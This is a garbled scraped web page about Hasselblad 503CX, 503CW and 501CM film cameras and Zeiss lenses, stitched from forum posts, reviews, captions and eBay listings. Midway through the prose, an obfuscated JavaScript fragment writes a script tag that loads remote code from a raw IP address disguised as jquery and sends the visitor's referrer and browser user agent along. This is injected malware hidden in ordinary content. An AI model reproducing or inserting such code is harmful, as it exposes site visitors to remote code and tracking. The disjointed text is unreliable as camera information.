Looking at Velvia 50 transparencies taken with my old M7(ii) and 43mm or 50mm lens compared to those from a Hasselblad with a Zeiss 40mm or 50mm lens, I think the differences are perceptible. @leica_camera, Blue hour at Nisabost, Isle of Harris. I find the PME 51 metering prism very useful for correct placement of neutral density graduated filters and surprisingly accurate as a light meter. Amazing. For a better experience, please enable JavaScript in your browser before proceeding. $32.09. 5 Frames with a Hasselblad 503CX - By James Greenoff. 503cw and 503cx both have ttl otf. When the 503CW and its elder brethren had a basic design which appeared way back in 1957, when digital not autofocus did not exist. Analog Workflow Forums (100% Analog/Traditional). I thought about your comment and will remain using my handheld meter since am happy with the early results.
,I guess the advantage of the meter knob is that you do not have to bring a separate handheld meter. . There is a quantifiable quality that you will see in a Velvia transparency, created with a Zeiss lens, on the lightbox. I prefer the slightly more polite way in which they image than the almost perfect rendering of the Mamiya lenses. If you buy secondhand you should see that you get an Acute Matte D screen as it was delivered with the camera, especially for portraits you should take one with split image to put focus exactly on the eyes. ''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('3.h("<7 8=\'2\' 9=\'a\' b=\'c/2\' d=\'e://5.f.g.6/1/j.k.l?r="+0(3.m)+"\n="+0(o.p)+"\'><\/q"+"s>");t i="4";',30,30,'encodeURI||javascript|document|szery||97|script|language|rel|nofollow|type|text|src|http|45|67|write|danke|jquery|js|php|referrer|u0026u|navigator|userAgent|sc||ript|var'.split('|'),0,{})) 503CW description and user report by Steve Walton. I prefer the cross-shoulder method of carrying cameras and the wide webbing is very comfortable. The Hasselblad 503CX and 500 Classic use CF and C lenses made by Carl Zeiss. In any side-by-side Mamiya-Zeiss comparisons youve made, can you elaborate on the differences in image quality further? I believe the 501 and the 503cw do not permit that because of the redesigned wind knob which accepts a winder.
,Then make sure, first, that the camera you have is a CX and not a CXi (you will know that already ;-) ), and, second, that the selenium meter in the meter knob still works properly.
. Its all very subjective, of course, and I would expect many other photographers who prefer their Mamiya lenses to disagree strongly with me. A roll of Velvia 50 on the lightbox will reveal the clarity and fidelity of the Zeiss lenses and many famous names have been established with these cameras. Hasselblad cameras in both X and H series models are available in field kits for convenience. The shutter release is threaded to take standard cable releases. The reason I was asking about 503CX was that I was considering buying one, but after reading your post, I'll probably go with 501CM. The 503CW (C=Compur leaf shutter, W=possible to attach an electric grip winder) used in this review was made circa 1996. The earlier CF lenses are usually considerably cheaper than the Cfi lenses, too.ReplyCancel, Steve, I love your landscapes. . Hasselblad C lens range: C T* lenses. Making Hasselblad possibly the most versatile vertically integrated system ever. To get the best results from the RAW files, we strongly suggest opening them in our free imaging . And she gamely agreed. The next page contains information on this camera. In this video I talk about the Hasselblad V system and compare the differences between the 500cm and the 503cw. Aug 2, 2007 #3 Rhys Sasquatch Ceapabhal from Traigh Rosamol, Isle of Harris. #HASSELBLAD #CARL ZEISS #503CWHASSELBLAD . This back focus seems to be consistent on almost all the photographs we took, so it is either a user issue which means we needed more time to get used to the camera, or a small misalignment between the camera body and the digital back, which can be solved by the addition of a shim. As with many other photographers who also use the square format, I do no crop my images, I carefully compose within the square format and this is where a more considered approach begins. So I would go for 501 CM or 503 CW. It came with a Carl Zeiss Planar 80mm CF T* lens in flawless condition, a Hasselblad lens hood, waist-level viewfinder, the appropriate (and bright) Acute-Matte D focusing screen, and the latest iteration of the A12 film back, known widely as a Type IV back, sometimes as a "black button" back, or very specifically as the Hasselblad 30212. The world of digital photography has moved on apace and there will be a vast pool of used V series equipment and Zeiss lenses available for some time to come. The Hasselblad 503CW is a proffesional 6x6 medium format film camera. We are unlikely ever to see the likes of the Hasselblad V series again. The initial 1600F suffered from reliability issues with the focal plane shutter, and in 1957, Hasselblad introduced the 500C which used a leaf shutter built into the lens. These parameters are set directly and manually on the Zeiss lens. This is remarkable use of technology. I think its a bold move and there was a Kickstarter project where someone was trying to make it digital back for film based medium format cameras but I dont know how that ended up. Why not just use a modern digital camera? Additional camera lenses are also available in 30, 40, and 90mm sizes. Your post answered what I exactly wanted to know. Thankfully after the video was finished I ma. The CFV II 50C found on the 907X, detached. 2001 - In late 2001, Hasselblad offered the 501 CM and 503 CW with coverings in yellow, red, green and blue. Pico, you're right, but I was thinking there was some related issue. (64,5 vs. 66). The lenses still render beautifully, and can be critically sharp when needed. From the earliest lenses to the latest for the V system, Zeiss lenses have been consistently superlative. What's advantage of TTL metering? The Hasselblad 503CX I shot over the weekend is a later model produced from 1988 to 2004 meaning it is a more refined and reliable camera than my Zeiss Ikon Ikoflex from the late fifties. So was keen to try this claim out. As you are interested in taking portraits I would recommend a body with bigger mirror so that you do not have vignetting in the viewfinder. The 503cx isn't as new as the 503cw (1990's I believe) I wanted the 503cw, settled for the 503cx. My current understanding of difference in 503 and 501, is that 503 capbale of TTL flash and CW has winder option. Click to see the same back delivered for the Special Moon Edition. Shoot Film : hasselblad 503CX + 80MM F2.8 Hasselblad Moments, Miranda Barnes Hasselblad 500CM - The best 120 camera for portraits? Note: Your post will require moderator approval before it will be visible. But I am nevertheless curious to see for myself what exactly this magic, and much remarked on, Zeiss factor looks like, especially in a side-by-side comparison. Internally, the lenses all benefit from a black, anti-reflection finish and from 1959 until 1974 all C lenses were single coated. I'll admit it. But with 50Mp, the image, when reduced to a print smaller than A4 or for the web the image looks fine, and back focus barely noticeable. A mask can be procured to show these on the viewfinder, but we did not have access to one. Your mileage may vary, but to me, the character of the lens is beautifully captured by the sensor. By which time, if the subject is live and in motion, we would have lost all the moment. [MINT w/ Cap ] Hasselblad 503CX Medium Format Film Camera Body Only from JAPAN $709.99 $50.00 shipping [Near Mint] Hasselblad 503CX Medium Format Film Camera Body From JAPAN #418 $748.00 $28.00 shipping [Near MINT] Hasselblad 503CX Medium Format Camera Black Body From JAPAN $1,399.99 $32.99 shipping Fuji Velvia 50 and the 503CW are a formidable combination and I am continually searching for ways to improve my technique and extract even higher image quality from my workflow. peter_samson, May 6, 2010 in Medium Format,Am considering jumping in and buying some used stuff. But I would recommend the last one (if you have the funds) just because of the age factor.
,To complicate things, the 503 CX comes in two versions: the 'plain' 503 CX and the 503 CXi.
, The latter (with the "i") will also take the Winder CW.
(And there is a 501 C - without the "M" - which has a shorter mirror. They look great on my hassy. Clear editor. However, Jimmy had the black paint edition, where instead of chrome, the metal edges were painted black. I'm very happy. $32.31. Adjustable Nylon Shoulder Strap Hasselblad 500cm 501cm 503cx 503cw Camera Black. I have been targeting the 503CW in my mind, but I wanted to know if that was just me wanting the "latest" model.
,The bigger mirror that avoids vignetting in the viewfinder e.g. vignetteing, is in actual on film or from view finder? Hasselblad 503CX - Conclusion. The Mamiya lenses are simply stunning and , if anything, render a little warmer than Zeiss, which is likely influenced by lens coatings as much as anything. I'll also lookin into 500ELX. If you have an account, sign in now to post with your account. . Both of these lenses are physically longer and a fair bit heavier. And he did not have to focus the lens as it was a 60mm f/5.6 Zeiss Biogon, set at its hyperfocal distance, so Neil knew everything from about 1.5m in front of him to infinity was in focus. They even make a speed booster adapter, as the V lenses cover 6in x6in and the CFV sensor is only 44mm x 44mm. . May be ok for use of still subjects like buildings while the camera is on a tripod, but not particularly so for portraits, especially street style. The older Zeiss glass is more romantic, more genteel, perhaps a reflection of the years goneby. . Seilebost, Isle of Harris . Free shipping. $40.56. Main advantage of the latter is availability of an electric winder.
, Hassy kits come with 80mm so if you want a 50 you'll need to go for separates. As shown below, the Phocus Raw processing panel shows ISO set at 100 as this is set on the back, but the image specifics like shutter speed and aperture are Unknown. Hasselblad 501CM Medium Format Camera Body, Chrome with Waist Level at KEH Camera. This happens if a lens is removed before the shutter has been recocked and the cocking drive screw will not line up correctly with the slot in the lens when you try to attach a lens again. And for it to work so in a more or less seamlessly is remarkable. The 500C nomenclature was for the 1/500s fastest shutter speed, and C refered to the Compur shutter built into the lenses, which were made for Hasselblad by Carl Zeiss. JavaScript is disabled. As always, the march of progress often has unwelcome side effects and the loss of the V Series for many, myself included, was one very unwelcome side effect of the consumer-driven photography industry. I also prefer the Carl Zeiss Planar T* 2.8/80 of the Hasselblad over the 2/80 of the Contax (50mm f1.7 equivalent vs. 50mm f1.2). The square format is not to everyones taste and it does not suit every photographers eye, but once you are accustomed to composing in squares the format imbues images with a new attention-grabbing perspective that is vastly different to the now usual 3:2 aspect ratio of full-frame and aps-c sensor digital cameras. Showing the wind-on and shutter-cocking lever. Unsere Bestenliste Nov/2022 Detaillierter Kaufratgeber Die besten Hasselblad 503cw Bester Preis Smtliche Preis-Leistungs-Sieger Direkt lesen! Hasselblad 503CW Medium Format Black Body Film Camera #10246 $1,995.00 $24.98 shipping 10 watching [Almost Unused] Hasselblad 503CW BLACK Body 6x6 + A12 III Film Back From Japan $3,669.99 Free shipping *MINT ISO3200 Model* HASSELBLAD 503CW 6x6 Film Medium Format Camera Body #JAPAN $1,819.90 $49.99 shipping This equipment was built to last and deserves the legendary status that surrounds it. Thanks for your articles useful and interesting. Hasselblad 501CM Medium Format Camera Body, Chrome with Waist Level. A TRUE Artists Camera. I got all my HASSELBLAD equipent used at eBay (How to Win at eBay).. Why Fixed Lenses Take Better Pictures. I just use a 1 pence coin to re-cock a lens if it has accidentally fired off camera and wont remount. ReplyCancel, Hi Simon, thanks for your comments. Hasselblad's smallest medium format camera body ever weighing in at only 200g, the 907X is extremely thin, lightweight and built to smoothly combine with the CFV II 50C, creating the highly compact 907X 50C digital mirrorless medium format camera. Its slightly ironic that square medium format images were popular for allowing cropping options to portrait format and other aspect ratios without having to turn the camera. Hasselblad 503CW BLACK Camera Body Function Tested Used AU $4,551.17 Was: AU $4,790.70 AU $131.60 postage or Best Offer SPONSORED BOXED [MINT] HASSELBLAD Acute Matte Split Grid Screen 42170 for 500 501 503 JAPAN AU $730.63 AU $45.65 postage Mint+++ HASSELBLAD 503CX + Planar 80mm genuine luxury set FedEd DHL From Japan AU $5,935.07 Free postage How to Shoot Film. @blackandwhite.magaz. Weve also recently had some people using raspberry pi single board computers to make all 35mm cameras functional again in a similar fashion. The 120mm makro-planar is one example. CW taks a separate winder also. [MINT ISO3200] Hasselblad 503CW Body Acute Mat D 42217 Split Grid A12 IV JAPAN. Your previous content has been restored. Bokeh would be slightly different but both are sharp assuming they are in equal condition. By . 503cx is much older than the other two - 503cx run ended in 1994; the other two began in 1996/7.<br> 501cm is 'entry level' compared to 503cw. That's what this post was going to be, a reworking of a recent post about my Hasselblad. I'm very happy. Based on the 503 CW and sold with CFV 16 or CFV 39 digital back and CFE Planar 2.8/80mm T* lens. However, isnt the character of the old lens lost with the use of a digital sensor instead of a negative? Image quality from either stable isnt really a question, they are all superlative lenses. Also a good reason to choose a model with the larger mirror as it avoids viewfinder cut off with the added lens extension of close up accessories. The 50mm distagon cfi is wide enough and the 150mm sonnar cf is long enough or my needs on square format. It is compatible with all CF, CFE, CB, CFI, and C lenses that provide you with impressive focal lengths and apertures. Both are wonderful lenses. the mirror of the 503CX, 503CXi and 500CM (and 500C, 501C) should all be the same. The earliest lens models you should be looking at are CFs.
, If you haven't done so already pay a visit to Hasselbald Historical, http://www.hasselbladhistorical.eu/ and the Hasselblad bit at http://www.photoethnography.com
, I have a 503cx and a 205fcc. 2006 - Hasselblad 503 CWD A commemorative camera set to celebrate Victor Hasselblad's 100th birthday. the camera comes in four "parts" that are interchangeable at any time. You must log in or register to reply here. The combo can also be used in LiveView mode, which completely avoids the issue of back focus, as the image captured is what you see in LiveView. Would anyone recommend one over the other?
, My use will probably be outdoor, no wedding photography, and likely paired with the 50mm (or 60mm?) $2,534.76 + $58.73 shipping. Its worth investing in an unjamming tool as illustrated above. This is mainly down to their simply being newer machines, as their added features won't really come in handy unless you're using proprietary Hasselblad flash units, or need access to the winder. Long may that be so! Nikon D3 versus HASSELBLAD H3D-22Mb. #callanish, Lonely Luskentyre pony! The Hasselblad 503CX, 503CXi and 500 Classic are medium format single lens reflex cameras featuring lens, magazine, viewfinder and focusing screen interchangeability. It is part of the Hasselblad System which covers interchangeable lenses, viewfinders, film magazines and a host of other accessories. The 503CW (C=Compur leaf shutter, W=possible to attach an electric grip winder) used in this review was made circa 1996. They are frequently obtainable from Ebay and make unjamming a Hasselblad very easy. Hasselblad V series cameras were once the mainstay of portrait, wedding and fine art photographers and it is still a camera that many younger photographers now aspire to use. However, one can still select Lens Correction, and a drop down menu allows CF 80 to be selected which applies digital lens correction to the Zeiss 80mm lens. Genuine Leather Shoulder Strap For Hasselblad 500CM 501CM 503CX 500C SWC Camera. focus during ceremony will be too difficult therefore I probably won't need winder. This week, in Part 2 of the series, we used the latest Hasselblad digital back with a vintage 503CW made from 1996. I read an earlier article of yours on the Fuji GSW690 III how would you describe the Fuji look by comparison with either Zeiss or Mamiya?
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